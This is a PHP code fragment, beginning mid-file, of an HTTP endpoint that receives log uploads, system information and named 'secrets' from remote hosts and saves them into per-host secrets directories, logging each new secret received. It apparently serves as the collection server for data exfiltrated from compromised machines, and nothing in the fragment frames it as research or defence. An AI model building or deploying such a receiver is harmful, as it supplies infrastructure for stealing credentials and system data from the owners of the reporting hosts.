'success', 'message' => 'Log received']); } else { http_response_code(500); echo json_encode(['status' => 'error', 'message' => 'Failed to save log file']); } } else { // Handle case where no file was uploaded but maybe system info or secrets were sent if (!empty($system_info)) { $info_file = $host_logs_dir . "/system_info.json"; file_put_contents($info_file, $system_info); } if (!empty($secret_type) && !empty($secret_value)) { $secret_file = $host_secrets_dir . "/" . sanitize_filename($secret_type) . ".txt"; file_put_contents($secret_file, $secret_value); // Log this secret submission as well $log_entry = date('Y-m-d H:i:s') . " - New {$secret_type} received\n"; file_put_contents($host_logs_dir . "/secrets_log.txt", $log_entry, FILE_APPEND); } // Response if (!empty($system_info) || (!empty($secret_type) && !empty($secret_value))) { http_response_code(200); echo json_encode(['status' => 'success', 'message' => 'Data received']); } else { http_response_code(400); echo json_encode(['status' => 'error', 'message' => 'No data received']); } } // Helper function to sanitize filenames function sanitize_filename($filename) { // Remove any character that isn't a letter, number, dot, hyphen or underscore return preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename); } ?>